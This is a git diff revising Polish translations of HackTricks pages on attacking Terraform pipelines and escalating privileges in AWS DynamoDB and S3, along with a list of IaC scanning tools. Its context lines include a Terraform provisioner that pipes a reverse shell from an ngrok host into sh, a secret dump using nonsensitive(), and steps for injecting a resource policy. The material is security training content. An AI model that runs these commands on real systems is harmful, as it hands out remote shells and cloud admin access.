diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 1ccb1bf4b..b89cdf8a1 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [Z dokumentacji:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. +HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. #### Jak działa Terraform? @@ -36,7 +36,7 @@ Terraform **nie ma platformy, która udostępniałaby stronę internetową lub u Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie. -Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprymowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**. +Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**. W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**: @@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**. +Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**. ## Zrzuty sekretów @@ -124,7 +124,7 @@ value = nonsensitive(var.do_token) ``` ## Wykorzystywanie plików stanu Terraform -W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`. +W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują interesujące opcje, aby skorzystać z tego pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`. ### RCE w Terraform: złośliwe modyfikowanie pliku konfiguracyjnego @@ -203,7 +203,7 @@ program = ["sh", "-c", "whoami"] ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC. +Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędy konfiguracyjne w Terraform, CloudFormation, Kubernetes i innych formatach IaC. - **Funkcje:** - Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością. @@ -221,9 +221,9 @@ snyk iac test /path/to/terraform/code **Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source. -Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością za pomocą skanowania opartego na grafach. +Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach. -Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanowaniem pakietów open source i obrazów w poszukiwaniu powszechnych luk w zabezpieczeniach (CVE). +Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE). ```bash pip install checkov checkov -d /path/to/folder @@ -257,7 +257,7 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje - ↪️ Ocenia funkcje Terraform, np. `concat()` - 🔗 Ocenia relacje między zasobami Terraform - 🧰 Kompatybilny z Terraform CDK -- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego +- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego - 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. - 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego) - ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów @@ -269,7 +269,7 @@ tfsec /path/to/folder Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx. -**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze. +**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` @@ -280,7 +280,7 @@ Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statycz - Bezproblemowe skanowanie infrastruktury jako kodu w poszukiwaniu błędnych konfiguracji. - Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy. - Wykrywanie luk w zabezpieczeniach i naruszeń zgodności. -- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej. +- Łagodzenie ryzyk przed dostarczeniem infrastruktury natywnej chmurowej. - Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD. ```bash brew install terrascan diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 04a3aada4..d4b60d9c2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -16,7 +16,7 @@ Od marca 2024 roku AWS oferuje *polityki oparte na zasobach* dla DynamoDB ([AWS Więc, jeśli masz `dynamodb:PutResourcePolicy` dla tabeli, możesz po prostu przyznać sobie lub innemu podmiotowi pełny dostęp do tabeli. -Przyznawanie `dynamodb:PutResourcePolicy` losowemu podmiotowi często zdarza się przypadkowo, jeśli administratorzy myślą, że przyznanie `dynamodb:Put*` pozwoli tylko na dodawanie elementów do bazy danych - lub jeśli przyznali ten zestaw uprawnień przed marcem 2024... +Przyznanie `dynamodb:PutResourcePolicy` losowemu podmiotowi często zdarza się przypadkowo, jeśli administratorzy myślą, że przyznanie `dynamodb:Put*` pozwoli tylko na dodawanie elementów do bazy danych - lub jeśli przyznali ten zestaw uprawnień przed marcem 2024... Idealnie, powinieneś również mieć `dynamodb:GetResourcePolicy`, aby nie nadpisywać innych potencjalnie istotnych uprawnień, ale tylko wstrzykiwać dodatkowe uprawnienia, których potrzebujesz: ```bash @@ -26,7 +26,7 @@ aws dynamodb get-resource-policy \ --query 'Policy' \ --output text > policy.json ``` -Jeśli nie możesz pobrać bieżącej polityki, po prostu użyj tej, która przyznaje pełny dostęp do tabeli dla twojego podmiotu: +Jeśli nie możesz pobrać bieżącej polityki, po prostu użyj tej, która przyznaje pełny dostęp do tabeli twojemu podmiotowi: ```json { "Version": "2012-10-17", @@ -61,12 +61,12 @@ Teraz powinieneś mieć potrzebne uprawnienia. ### Post Exploitation -Z tego, co wiem, **nie ma innego bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**: +Z tego co wiem, **nie ma innego bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) oraz **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Czytaj dane, wykorzystując strumienie danych +### TODO: Czytaj dane, nadużywając strumieni danych {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 706dc54a4..dd95ded87 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o naz ] } ``` -I możliwe jest przejęcie, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy wysłane zostanie powiadomienie o koszyku**, i **przejąć** **zawartość** tego **koszyka**. +I możliwe jest przejęcie, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy wysłane zostanie powiadomienie z koszyka**, i **przejmie** **zawartość** tego **koszyka**. ![](<../../../images/image (174).png>) @@ -43,7 +43,7 @@ Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecu ### `s3:PutObject`, `s3:GetObject` -To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\ +To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Wiele usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\ Napastnik z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\ Napastnik z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\ Oto kilka przykładów: @@ -57,7 +57,7 @@ Również zazwyczaj, w rzeczywistych kontach prawie zawsze wszyscy deweloperzy m Więc, jeśli masz uprawnienia wymienione nad tymi plikami, istnieje wektor ataku, który pozwala ci uzyskać RCE w pipeline z uprawnieniami `terraform` - najczęściej `AdministratorAccess`, co czyni cię administratorem konta w chmurze. Możesz również użyć tego wektora do przeprowadzenia ataku typu denial of service, powodując, że `terraform` usunie legalne zasoby. -Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* na stronie *Terraform Security* w celu uzyskania bezpośrednio używalnego kodu exploit: +Postępuj zgodnie z opisem w sekcji *Nadużywanie plików stanu Terraform* na stronie *Bezpieczeństwo Terraform* w celu uzyskania bezpośrednio używalnego kodu exploita: {{#ref}} terraform-security.md#abusing-terraform-state-files